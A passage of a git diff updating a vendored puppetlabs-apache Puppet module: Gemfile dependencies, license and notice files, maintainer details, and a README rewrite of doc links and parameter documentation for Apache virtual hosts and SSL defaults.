Gem::Version.new('2.0.0') - gem 'rubocop', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0') - gem 'rubocop-rspec', '~> 1.6', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0') - gem 'pry', :require => false - gem 'json_pure', '<= 2.0.1', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') - gem 'fast_gettext', '1.1.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0') - gem 'fast_gettext', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0') + gem "puppet-module-posix-default-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-default-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "puppet-module-posix-dev-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-dev-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "json_pure", '<= 2.0.1', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') + gem "fast_gettext", '1.1.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0') + gem "fast_gettext", :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0') end group :system_tests do - gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '~> 2.20') if supports_windows - gem 'beaker', *location_for(ENV['BEAKER_VERSION']) if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0') and ! supports_windows - gem 'beaker', *location_for(ENV['BEAKER_VERSION'] || '< 3') if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.3.0') and ! supports_windows - gem 'beaker-pe', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0') - gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '>= 3.4') if ! supports_windows - gem 'beaker-rspec', *location_for(ENV['BEAKER_RSPEC_VERSION'] || '~> 5.1') if supports_windows - gem 'beaker-puppet_install_helper', :require => false - gem 'master_manipulator', :require => false - gem 'beaker-hostgenerator', *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION']) - gem 'beaker-abs', *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1') + gem "puppet-module-posix-system-r#{minor_version}", :require => false, :platforms => "ruby" + gem "puppet-module-win-system-r#{minor_version}", :require => false, :platforms => ["mswin", "mingw", "x64_mingw"] + gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '>= 3') + gem "beaker-pe", :require => false + gem "beaker-rspec", *location_for(ENV['BEAKER_RSPEC_VERSION']) + gem "beaker-hostgenerator", *location_for(ENV['BEAKER_HOSTGENERATOR_VERSION']) + gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1') end gem 'puppet', *location_for(ENV['PUPPET_GEM_VERSION']) diff --git a/modules/services/unix/http/apache/LICENSE b/modules/services/unix/http/apache/LICENSE index 261eeb9e9..d64569567 100644 --- a/modules/services/unix/http/apache/LICENSE +++ b/modules/services/unix/http/apache/LICENSE @@ -1,3 +1,4 @@ + Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ diff --git a/modules/services/unix/http/apache/MAINTAINERS.md b/modules/services/unix/http/apache/MAINTAINERS.md new file mode 100644 index 000000000..18a33881e --- /dev/null +++ b/modules/services/unix/http/apache/MAINTAINERS.md @@ -0,0 +1,6 @@ +## Maintenance + +Maintainers: + - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com` + +Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `apache`. diff --git a/modules/services/unix/http/apache/NOTICE b/modules/services/unix/http/apache/NOTICE index c07b29dc8..77c13089a 100644 --- a/modules/services/unix/http/apache/NOTICE +++ b/modules/services/unix/http/apache/NOTICE @@ -1,8 +1,6 @@ -apache puppet module +Puppet Module - puppetlabs-apache -Copyright (C) 2012-2016 Puppet Labs, Inc. - -Puppet Labs can be contacted at: info@puppetlabs.com +Copyright 2017 Puppet, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -14,4 +12,4 @@ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and -limitations under the License. +limitations under the License. \ No newline at end of file diff --git a/modules/services/unix/http/apache/README.md b/modules/services/unix/http/apache/README.md old mode 100644 new mode 100755 index ae4a81b4a..90f4a7094 --- a/modules/services/unix/http/apache/README.md +++ b/modules/services/unix/http/apache/README.md @@ -16,6 +16,7 @@ [Installing specific modules]: #installing-specific-modules [Configuring FastCGI servers]: #configuring-fastcgi-servers-to-handle-php-files [Load balancing examples]: #load-balancing-examples +[apache affects]: #what-the-apache-module-affects [Reference]: #reference [Public classes]: #public-classes @@ -28,7 +29,7 @@ [Development]: #development [Contributing]: #contributing -[Running tests]: #running-tests +[Testing]: #testing [`AddDefaultCharset`]: https://httpd.apache.org/docs/current/mod/core.html#adddefaultcharset [`add_listen`]: #add_listen @@ -76,7 +77,7 @@ [`apache::vhost::WSGIImportScript`]: #wsgiimportscript [Apache HTTP Server]: https://httpd.apache.org [Apache modules]: https://httpd.apache.org/docs/current/mod/ -[array]: https://docs.puppetlabs.com/puppet/latest/reference/lang_data_array.html +[array]: https://docs.puppet.com/puppet/latest/reference/lang_data_array.html [audit log]: https://github.com/SpiderLabs/ModSecurity/wiki/ModSecurity-2-Data-Formats#audit-log @@ -105,18 +106,19 @@ [`EnableSendfile`]: https://httpd.apache.org/docs/current/mod/core.html#enablesendfile [enforcing mode]: http://selinuxproject.org/page/Guide/Mode -[`ensure`]: https://docs.puppetlabs.com/references/latest/type.html#package-attribute-ensure +[`ensure`]: https://docs.puppet.com/latest/type.html#package-attribute-ensure [`error_log_file`]: #error_log_file [`error_log_syslog`]: #error_log_syslog [`error_log_pipe`]: #error_log_pipe [`ExpiresByType`]: https://httpd.apache.org/docs/current/mod/mod_expires.html#expiresbytype -[exported resources]: http://docs.puppetlabs.com/latest/reference/lang_exported.md +[exported resources]: http://docs.puppet.com/latest/reference/lang_exported.md [`ExtendedStatus`]: https://httpd.apache.org/docs/current/mod/core.html#extendedstatus -[Facter]: http://docs.puppetlabs.com/facter/ +[Facter]: http://docs.puppet.com/facter/ [FastCGI]: http://www.fastcgi.com/ [FallbackResource]: https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource [`fallbackresource`]: #fallbackresource +[`FileETag`]: https://httpd.apache.org/docs/current/mod/core.html#fileetag [filter rules]: https://httpd.apache.org/docs/current/filter.html [`filters`]: #filters [`ForceType`]: https://httpd.apache.org/docs/current/mod/core.html#forcetype @@ -124,7 +126,8 @@ [GeoIPScanProxyHeaders]: http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Proxy-Related_Directives [`gentoo/puppet-portage`]: https://github.com/gentoo/puppet-portage -[Hash]: https://docs.puppetlabs.com/puppet/latest/reference/lang_data_hash.html +[Hash]: https://docs.puppet.com/puppet/latest/reference/lang_data_hash.html +[`HttpProtocolOptions`]: http://httpd.apache.org/docs/current/mod/core.html#httpprotocoloptions [`IncludeOptional`]: https://httpd.apache.org/docs/current/mod/core.html#includeoptional [`Include`]: https://httpd.apache.org/docs/current/mod/core.html#include @@ -151,6 +154,7 @@ [`manage_docroot`]: #manage_docroot [`manage_user`]: #manage_user [`manage_group`]: #manage_group +[`supplementary_groups`]: #supplementary_groups [`MaxConnectionsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxconnectionsperchild [`max_keepalive_requests`]: #max_keepalive_requests [`MaxRequestWorkers`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#maxrequestworkers @@ -187,14 +191,14 @@ [`mod_status`]: https://httpd.apache.org/docs/current/mod/mod_status.html [`mod_version`]: https://httpd.apache.org/docs/current/mod/mod_version.html [`mod_wsgi`]: https://modwsgi.readthedocs.org/en/latest/ -[module contribution guide]: https://docs.puppetlabs.com/forge/contributing.html +[module contribution guide]: https://docs.puppet.com/forge/contributing.html [`mpm_module`]: #mpm_module [multi-processing module]: https://httpd.apache.org/docs/current/mpm.html [name-based virtual hosts]: https://httpd.apache.org/docs/current/vhosts/name-based.html [`no_proxy_uris`]: #no_proxy_uris -[open source Puppet]: https://docs.puppetlabs.com/puppet/ +[open source Puppet]: https://docs.puppet.com/puppet/ [`Options`]: https://httpd.apache.org/docs/current/mod/core.html#options [`path`]: #path @@ -206,10 +210,10 @@ [`proxy_pass`]: #proxy_pass [`ProxyPass`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass [`ProxySet`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset -[Puppet Enterprise]: https://docs.puppetlabs.com/pe/ -[Puppet Forge]: https://forge.puppetlabs.com -[Puppet Labs]: https://puppetlabs.com -[Puppet module]: https://docs.puppetlabs.com/puppet/latest/reference/modules_fundamentals.html +[Puppet Enterprise]: https://docs.puppet.com/pe/ +[Puppet Forge]: https://forge.puppet.com +[Puppet]: https://puppet.com +[Puppet module]: https://docs.puppet.com/puppet/latest/reference/modules_fundamentals.html [Puppet module's code]: https://github.com/puppetlabs/puppetlabs-apache/blob/master/manifests/default_mods.pp [`purge_configs`]: #purge_configs [`purge_vhost_dir`]: #purge_vhost_dir @@ -232,7 +236,7 @@ [`ServerRoot`]: https://httpd.apache.org/docs/current/mod/core.html#serverroot [`ServerTokens`]: https://httpd.apache.org/docs/current/mod/core.html#servertokens [`ServerSignature`]: https://httpd.apache.org/docs/current/mod/core.html#serversignature -[Service attribute restart]: http://docs.puppetlabs.com/references/latest/type.html#service-attribute-restart +[Service attribute restart]: http://docs.puppet.com/latest/type.html#service-attribute-restart [`source`]: #source [`SSLCARevocationCheck`]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck [SSL certificate key file]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcertificatekeyfile @@ -247,12 +251,12 @@ [`suphp_addhandler`]: #suphp_addhandler [`suphp_configpath`]: #suphp_configpath [`suphp_engine`]: #suphp_engine -[supported operating system]: https://forge.puppetlabs.com/supported#puppet-supported-modules-compatibility-matrix +[supported operating system]: https://forge.puppet.com/supported#puppet-supported-modules-compatibility-matrix [`ThreadLimit`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadlimit [`ThreadsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadsperchild [`TimeOut`]: https://httpd.apache.org/docs/current/mod/core.html#timeout -[template]: http://docs.puppetlabs.com/puppet/latest/reference/lang_template.html +[template]: http://docs.puppet.com/puppet/latest/reference/lang_template.html [`TraceEnable`]: https://httpd.apache.org/docs/current/mod/core.html#traceenable [`verify_config`]: #verify_config @@ -261,6 +265,7 @@ [`virtual_docroot`]: #virtual_docroot [Web Server Gateway Interface]: https://www.python.org/dev/peps/pep-3333/#abstract +[`WSGIRestrictEmbedded`]: http://modwsgi.readthedocs.io/en/develop/configuration-directives/WSGIRestrictEmbedded.html [`WSGIPythonPath`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonPath.html [`WSGIPythonHome`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonHome.html @@ -268,6 +273,7 @@ 1. [Module description - What is the apache module, and what does it do?][Module description] 2. [Setup - The basics of getting started with apache][Setup] + - [What the apache module affects][apache affects] - [Beginning with Apache - Installation][Beginning with Apache] 3. [Usage - The classes and defined types available for configuration][Usage] - [Configuring virtual hosts - Examples to help get started][Configuring virtual hosts] @@ -290,7 +296,7 @@ ## Setup -**What the apache Puppet module affects:** +### What the apache module affects: - Configuration files and directories (created and written to) - **WARNING**: Configurations *not* managed by Puppet will be purged. @@ -302,9 +308,9 @@ On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Note that while several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module. -> **Note**: This module modifies Apache configuration files and directories and purges any configuration not managed by Puppet. Apache configuration should be managed by Puppet, as unmanaged configuration files can cause unexpected failures. - -To temporarily disable full Puppet management, set the [`purge_configs`][] parameter in the [`apache`][] class declaration to false. We recommend using this only as a temporary means of saving and relocating customized configurations. +> **Warning**: This module modifies Apache configuration files and directories and purges any configuration not managed by Puppet. Apache configuration should be managed by Puppet, as unmanaged configuration files can cause unexpected failures. +> +>To temporarily disable full Puppet management, set the [`purge_configs`][] parameter in the [`apache`][] class declaration to false. We recommend this only as a temporary means of saving and relocating customized configurations. ### Beginning with Apache @@ -314,9 +320,17 @@ To have Puppet install Apache with the default parameters, declare the [`apache` class { 'apache': } ``` -The Puppet module applies a default configuration based on your operating system; Debian, Red Hat, FreeBSD, and Gentoo systems each have unique default configurations. These defaults work in testing environments but are not suggested for production, and Puppet recommends customizing the class's parameters to suit your site. Use the [Reference](#reference) section to find information about the class's parameters and their default values. +When you declare this class with the default options, the module: -You can customize parameters when declaring the `apache` class. For instance, this declaration installs Apache without the apache module's [default virtual host configuration][Configuring virtual hosts], allowing you to customize all Apache virtual hosts: +- Installs the appropriate Apache software package and [required Apache modules](#default_mods) for your operating system. +- Places the required configuration files in a directory, with the [default location](#conf_dir) Depends on operating system. +- Configures the server with a default virtual host and standard port ('80') and address ('\*') bindings. +- Creates a document root directory Depends on operating system, typically `/var/www`. +- Starts the Apache service. + +Apache defaults depend on your operating system. These defaults work in testing environments but are not suggested for production. We recommend customizing the class's parameters to suit your site. + +For instance, this declaration installs Apache without the apache module's [default virtual host configuration][Configuring virtual hosts], allowing you to customize all Apache virtual hosts: ``` puppet class { 'apache': @@ -324,7 +338,7 @@ class { 'apache': } ``` -> **Note**: When `default_vhost` is set to `false` you have to add at least one `apache::vhost` resource or Apache will not start. +> **Note**: When `default_vhost` is set to `false`, you have to add at least one `apache::vhost` resource or Apache will not start. To establish a default virtual host, either set the `default_vhost` in the `apache` class or use the [`apache::vhost`][] defined type. You can also configure additional specific virtual hosts with the [`apache::vhost`][] defined type. ## Usage @@ -332,7 +346,6 @@ class { 'apache': The default [`apache`][] class sets up a virtual host on port 80, listening on all interfaces and serving the [`docroot`][] parameter's default directory of `/var/www`. -> **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters. To configure basic [name-based virtual hosts][], specify the [`port`][] and [`docroot`][] parameters in the [`apache::vhost`][] defined type: @@ -343,6 +356,8 @@ apache::vhost { 'vhost.example.com': } ``` +See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters. + > **Note**: Apache processes virtual hosts in alphabetical order, and server administrators can prioritize Apache's virtual host processing by prefixing a virtual host's configuration file name with a number. The [`apache::vhost`][] defined type applies a default [`priority`][] of 15, which Puppet interprets by prefixing the virtual host's file name with `15-`. This all means that if multiple sites have the same priority, or if you disable priority numbers by setting the `priority` parameter's value to false, Apache still processes virtual hosts in alphabetical order. To configure user and group ownership for `docroot`, use the [`docroot_owner`][] and [`docroot_group`][] parameters: @@ -430,7 +445,7 @@ apache::vhost { 'ip.example.com': } ``` -It is also possible to configure more than one IP address per virtual host by using an array of IP addresses for the [`ip`][] parameter: +You can also configure more than one IP address per virtual host by using an array of IP addresses for the [`ip`][] parameter: ``` puppet apache::vhost { 'ip.example.com': @@ -440,6 +455,16 @@ apache::vhost { 'ip.example.com': } ``` +You can configure multiple ports per virtual host by using an array of ports for the [`port`][] parameter: + +``` puppet +apache::vhost { 'ip.example.com': + ip => ['127.0.0.1'], + port => ['80','8080'] + docroot => '/var/www/ip', +} +``` + To configure a virtual host with [aliased servers][], refer to the aliases using the [`serveraliases`][] parameter: ``` puppet @@ -453,7 +478,7 @@ apache::vhost { 'aliases.example.com': } ``` -To set up a virtual host with a wildcard alias for the subdomain mapped to a same-named directory, such as 'http://example.com.loc' mapped to `/var/www/example.com`, define the wildcard alias using the [`serveraliases`][] parameter and the document root with the [`virtual_docroot`][] parameter: +To set up a virtual host with a wildcard alias for the subdomain mapped to a directory of the same name, such as 'http://example.com.loc' mapped to `/var/www/example.com`, define the wildcard alias using the [`serveraliases`][] parameter and the document root with the [`virtual_docroot`][] parameter: ``` puppet apache::vhost { 'subdomain.loc': @@ -482,7 +507,14 @@ apache::vhost { 'subdomain.loc': #### Configuring virtual hosts for apps and processors -To set up a virtual host with [suPHP][], use the [`suphp_engine`][] parameter to enable the suPHP engine, [`suphp_addhandler`][] parameter to define a MIME type, [`suphp_configpath`][] to set which path suPHP passes to the PHP interpreter, and the [`directory`][] parameter to configure Directory, File, and Location directive blocks: +To set up a virtual host with [suPHP][], use the following parameters: + +* [`suphp_engine`][], to enable the suPHP engine. +* [`suphp_addhandler`][], to define a MIME type. +* [`suphp_configpath`][], to set which path suPHP passes to the PHP interpreter. +* [`directory`][], to configure Directory, File, and Location directive blocks. + +For example: ``` puppet apache::vhost { 'suphp.example.com': @@ -502,7 +534,7 @@ apache::vhost { 'suphp.example.com': } ``` -You can use a set of parameters to configure a virtual host to use the [Web Server Gateway Interface][] (WSGI) for [Python][] applications: +To configure a virtual host to use the [Web Server Gateway Interface][] (WSGI) for [Python][] applications, use the `wsgi` set of parameters: ``` puppet apache::vhost { 'wsgi.example.com': @@ -525,7 +557,7 @@ apache::vhost { 'wsgi.example.com': } ``` -Starting in Apache 2.2.16, Apache supports [FallbackResource][], a simple replacement for common RewriteRules. You can set a FallbackResource using the [`fallbackresource`][] parameter: +As of Apache 2.2.16, Apache supports [FallbackResource][], a simple replacement for common RewriteRules. You can set a FallbackResource using the [`fallbackresource`][] parameter: ``` puppet apache::vhost { 'wordpress.example.com': @@ -559,7 +591,7 @@ apache::vhost { 'rack.example.com': #### Configuring IP-based virtual hosts -You can configure [IP-based virtual hosts][] to listen on any port and have them respond to requests on specific IP addresses. In this example, we set the server to listen on ports 80 and 81 because the example virtual hosts are _not_ declared with a [`port`][] parameter: +You can configure [IP-based virtual hosts][] to listen on any port and have them respond to requests on specific IP addresses. In this example, the server listens on ports 80 and 81, because the example virtual hosts are _not_ declared with a [`port`][] parameter: ``` puppet apache::listen { '80': } @@ -567,7 +599,7 @@ apache::listen { '80': } apache::listen { '81': } ``` -Then we configure the IP-based virtual hosts with the [`ip_based`][] parameter: +Configure the IP-based virtual hosts with the [`ip_based`][] parameter: ``` puppet apache::vhost { 'first.example.com': @@ -583,7 +615,9 @@ apache::vhost { 'second.example.com': } ``` -You can also configure a mix of IP- and [name-based virtual hosts][], and in any combination of [SSL][SSL encryption] and unencrypted configurations. First, we add two IP-based virtual hosts on an IP address (in this example, 10.0.0.10). One uses SSL and the other is unencrypted: +You can also configure a mix of IP- and [name-based virtual hosts][] in any combination of [SSL][SSL encryption] and unencrypted configurations. + +In this example, we add two IP-based virtual hosts on an IP address (in this example, 10.0.0.10). One uses SSL and the other is unencrypted: ``` puppet apache::vhost { 'The first IP-based virtual host, non-ssl': @@ -620,7 +654,7 @@ apache::vhost { 'third.example.com': } ``` -To add name-based virtual hosts that answer on either 10.0.0.10 or 10.0.0.20, you **must** set the [`add_listen`][] parameter to false to disable the default Apache setting of `Listen 80`, as it conflicts with the preceding IP-based virtual hosts. +To add name-based virtual hosts that answer on either 10.0.0.10 or 10.0.0.20, you **must** disable the Apache default `Listen 80`, as it conflicts with the preceding IP-based virtual hosts. To do this, set the [`add_listen`][] parameter to `false`: ``` puppet apache::vhost { 'fourth.example.com': @@ -734,7 +768,7 @@ apache::balancermember { "${::fqdn}-puppet00": Then declare the `apache::balancer` and `apache::balancermember` defined types on the proxy server. -If you need to use the [ProxySet](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset) directive on the balancer, use the [`proxy_set`](#proxy_set) parameter of `apache::balancer`: +To use the [ProxySet](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset) directive on the balancer, use the [`proxy_set`](#proxy_set) parameter of `apache::balancer`: ``` puppet apache::balancer { 'puppet01': @@ -799,21 +833,25 @@ You can simply declare the default `apache` class: class { 'apache': } ``` -You can establish a default virtual host in this class, by using the [`apache::vhost`][] defined type, or both. You can also configure additional specific virtual hosts with the [`apache::vhost`][] defined type. Puppet recommends customizing the `apache` class's declaration with the following parameters, as its default settings are not optimized for production. - -**Parameters within `apache`:** - ##### `allow_encoded_slashes` -Sets the server default for the [`AllowEncodedSlashes`][] declaration, which modifies the responses to URLs containing '\' and '/' characters. Valid options: 'on', 'off', 'nodecode'. Default: undef, which omits the declaration from the server's configuration and uses Apache's default setting of 'off'. +Sets the server default for the [`AllowEncodedSlashes`][] declaration, which modifies the responses to URLs containing '\' and '/' characters. If not specified, this parameter omits the declaration from the server's configuration and uses Apache's default setting of 'off'. + +Values: 'on', 'off', 'nodecode'. + +Default: `undef`. ##### `apache_version` -Configures module template behavior, package names, and default Apache modules by defining the version of Apache to use. Default: Determined by your operating system family and release via the [`apache::version`][] class. Puppet recommends against manually configuring this parameter without reason. +Configures module template behavior, package names, and default Apache modules by defining the version of Apache to use. We do not recommend manually configuring this parameter without reason. + +Default: Depends on operating system and release version detected by the [`apache::version`][] class. ##### `conf_dir` -Sets the directory where the Apache server's main configuration file is located. Default: Depends on your operating system. +Sets the directory where the Apache server's main configuration file is located. + +Default: Depends on operating system. - **Debian**: `/etc/apache2` - **FreeBSD**: `/usr/local/etc/apache22` @@ -822,11 +860,15 @@ Sets the directory where the Apache server's main configuration file is located. ##### `conf_template` -Defines the [template][] used for the main Apache configuration file. Default: `apache/httpd.conf.erb`. Modifying this parameter is potentially risky, as the apache Puppet module is designed to use a minimal configuration file customized by `conf.d` entries. +Defines the [template][] used for the main Apache configuration file. Modifying this parameter is potentially risky, as the apache module is designed to use a minimal configuration file customized by `conf.d` entries. + +Default: `apache/httpd.conf.erb`. ##### `confd_dir` -Sets the location of the Apache server's custom configuration directory. Default: Depends on your operating system. +Sets the location of the Apache server's custom configuration directory. + +Default: Depends on operating system. - **Debian**: `/etc/apache2/conf.d` - **FreeBSD**: `/usr/local/etc/apache22` @@ -835,83 +877,104 @@ Sets the location of the Apache server's custom configuration directory. Default ##### `default_charset` -Used as the [`AddDefaultCharset`][] directive in the main configuration file. Default: undef. +Used as the [`AddDefaultCharset`][] directive in the main configuration file. + +Default: `undef`. ##### `default_confd_files` -Determines whether Puppet generates a default set of includable Apache configuration files in the directory defined by the [`confd_dir`][] parameter. These configuration files correspond to what is typically installed with the Apache package on the server's operating system. Valid options: Boolean. Default: true. +Determines whether Puppet generates a default set of includable Apache configuration files in the directory defined by the [`confd_dir`][] parameter. These configuration files correspond to what is typically installed with the Apache package on the server's operating system. + +Boolean. Default: `true`. ##### `default_mods` -Determines whether to configure and enable a set of default [Apache modules][] depending on your operating system. Valid options: true, false, or an array of Apache module names. Default: true. +Determines whether to configure and enable a set of default [Apache modules][] depending on your operating system. -If this parameter's value is false, Puppet includes only the Apache modules required to make the HTTP daemon work on your operating system, and you can declare any other modules separately using the [`apache::mod::`][] class or [`apache::mod`][] defined type. +If `false`, Puppet includes only the Apache modules required to make the HTTP daemon work on your operating system, and you can declare any other modules separately using the [`apache::mod::`][] class or [`apache::mod`][] defined type. -If true, Puppet installs additional modules, the list of which depends on the operating system as well as the [`apache_version`][] and [`mpm_module`][] parameters' values. As these lists of modules can change frequently, consult the [Puppet module's code][] for up-to-date lists. +If `true`, Puppet installs additional modules, depending on the operating system and the values of [`apache_version`][] and [`mpm_module`][] parameters. Because these lists of modules can change frequently, consult the [Puppet module's code][] for up-to-date lists. If this parameter contains an array, Puppet instead enables all passed Apache modules. +Values: Boolean or an array of Apache module names. + +Default: `true`. + ##### `default_ssl_ca` -Sets the default certificate authority for the Apache server. Default: undef. +Sets the default certificate authority for the Apache server. -While this default value results in a functioning Apache server, you **must** update this parameter with your certificate authority information before deploying this server in a production environment. +Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate authority information before deploying this server in a production environment. + +Boolean. Default: `undef`. ##### `default_ssl_cert` -Sets the [SSL encryption][] certificate location. Default: Determined by your operating system. +Sets the [SSL encryption][] certificate location. + +Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate location before deploying this server in a production environment. + +Default: Depends on operating system. - **Debian**: `/etc/ssl/certs/ssl-cert-snakeoil.pem` - **FreeBSD**: `/usr/local/etc/apache22/server.crt` - **Gentoo**: `/etc/ssl/apache2/server.crt` - **Red Hat**: `/etc/pki/tls/certs/localhost.crt` -While the default value results in a functioning Apache server, you **must** update this parameter with your certificate location before deploying this server in a production environment. - ##### `default_ssl_chain` -Sets the default [SSL chain][] location. Default: undef. +Sets the default [SSL chain][] location. -While this default value results in a functioning Apache server, you **must** update this parameter with your SSL chain before deploying this server in a production environment. +Although this default value results in a functioning Apache server, you **must** update this parameter with your SSL chain before deploying this server in a production environment. + +Default: `undef`. ##### `default_ssl_crl` -Sets the path of the default [certificate revocation list][] (CRL) file to use. Default: undef. +Sets the path of the default [certificate revocation list][] (CRL) file to use. -While this default value results in a functioning Apache server, you **must** update this parameter with your CRL file's path before deploying this server in a production environment. You can use this parameter with or in place of the [`default_ssl_crl_path`][]. +Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment. You can use this parameter with or in place of the [`default_ssl_crl_path`][]. + +Default: `undef`. ##### `default_ssl_crl_path` -Sets the server's [certificate revocation list path][], which contains your CRLs. Default: undef. +Sets the server's [certificate revocation list path][], which contains your CRLs. -While this default value results in a functioning Apache server, you **must** update this parameter with the CRL path before deploying this server in a production environment. +Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment. + +Default: `undef`. ##### `default_ssl_crl_check` -Sets the default certificate revocation check level via the [`SSLCARevocationCheck`][] directive. Default: undef. +Sets the default certificate revocation check level via the [`SSLCARevocationCheck`][] directive. This parameter applies only to Apache 2.4 or higher and is ignored on older versions. -While this default value results in a functioning Apache server, you **must** specify this parameter when using certificate revocation lists in a production environment. +Although this default value results in a functioning Apache server, you **must** specify this parameter when using certificate revocation lists in a production environment. -This parameter only applies to Apache 2.4 or higher and is ignored on older versions. +Default: `undef`. ##### `default_ssl_key` -Sets the [SSL certificate key file][] location. Default: Determined by your operating system. +Sets the [SSL certificate key file][] location. + +Although the default values result in a functioning Apache server, you **must** update this parameter with your SSL key's location before deploying this server in a production environment. + +Default: Depends on operating system. - **Debian**: `/etc/ssl/private/ssl-cert-snakeoil.key` - **FreeBSD**: `/usr/local/etc/apache22/server.key` - **Gentoo**: `/etc/ssl/apache2/server.key` - **Red Hat**: `/etc/pki/tls/private/localhost.key` -While these default values result in a functioning Apache server, you **must** update this parameter with your SSL key's location before deploying this server in a production environment. ##### `default_ssl_vhost` -Configures a default [SSL][SSL encryption] virtual host. Valid options: Boolean. Default: false. +Configures a default [SSL][SSL encryption] virtual host. -If true, Puppet automatically configures the following virtual host using the [`apache::vhost`][] defined type: +If `true`, Puppet automatically configures the following virtual host using the [`apache::vhost`][] defined type: -``` puppet +```puppet apache::vhost { 'default-ssl': port => 443, ssl => true, @@ -924,27 +987,30 @@ apache::vhost { 'default-ssl': > **Note**: SSL virtual hosts only respond to HTTPS queries. + +Boolean. Default: `false`. + ##### `default_type` -_Apache 2.2 only_. Sets the [MIME `content-type`][] sent if the server cannot otherwise determine an appropriate `content-type`. This directive is deprecated in Apache 2.4 and newer and only exists for backwards compatibility in configuration files. Default: undef. +_Apache 2.2 only_. Sets the [MIME `content-type`][] sent if the server cannot otherwise determine an appropriate `content-type`. This directive is deprecated in Apache 2.4 and newer, and is only for backwards compatibility in configuration files. + +Default: `undef`. ##### `default_vhost` -Configures a default virtual host when the class is declared. Valid options: Boolean. Default: true. +Configures a default virtual host when the class is declared. -To configure [customized virtual hosts][Configuring virtual hosts], set this parameter's value to false. +To configure [customized virtual hosts][Configuring virtual hosts], set this parameter's value to `false`. -> **Note**: Apache will not start without at least one virtual host. If you set this to false be sure to configure one elsewhere. +> **Note**: Apache will not start without at least one virtual host. If you set this to `false` you must configure a virtual host elsewhere. + +Boolean. Default: `true`. ##### `dev_packages` -Configures a specific dev package to use. Valid options: A string or array of strings. Default: Depends on the operating system. +Configures a specific dev package to use. -- **Red Hat:** 'httpd-devel' -- **Debian 8/Ubuntu 13.10 or newer:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev'] -- **Older Debian/Ubuntu versions:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev'] -- **FreeBSD, Gentoo:** undef -- **Suse:** ['libapr-util1-devel', 'libapr1-devel'] +Values: A string or array of strings. Example for using httpd 2.4 from the IUS yum repo: @@ -956,9 +1022,19 @@ class { 'apache': } ``` +Default: Depends on operating system. + +- **Red Hat:** 'httpd-devel' +- **Debian 8/Ubuntu 13.10 or newer:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev'] +- **Older Debian/Ubuntu versions:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev'] +- **FreeBSD, Gentoo:** `undef` +- **Suse:** ['libapr-util1-devel', 'libapr1-devel'] + ##### `docroot` -Sets the default [`DocumentRoot`][] location. Default: Determined by your operating system. +Sets the default [`DocumentRoot`][] location. + +Default: Depends on operating system. - **Debian**: `/var/www/html` - **FreeBSD**: `/usr/local/www/apache22/data` @@ -967,44 +1043,56 @@ Sets the default [`DocumentRoot`][] location. Default: Determined by your operat ##### `error_documents` -Determines whether to enable [custom error documents][] on the Apache server. Valid options: Boolean. Default: false. +Determines whether to enable [custom error documents][] on the Apache server. + +Boolean. Default: `false`. ##### `group` Sets the group ID that owns any Apache processes spawned to answer requests. -By default, Puppet attempts to manage this group as a resource under the `apache` class, determining the group based on the operating system as detected by the [`apache::params`][] class. To to prevent the group resource from being created and use a group created by another 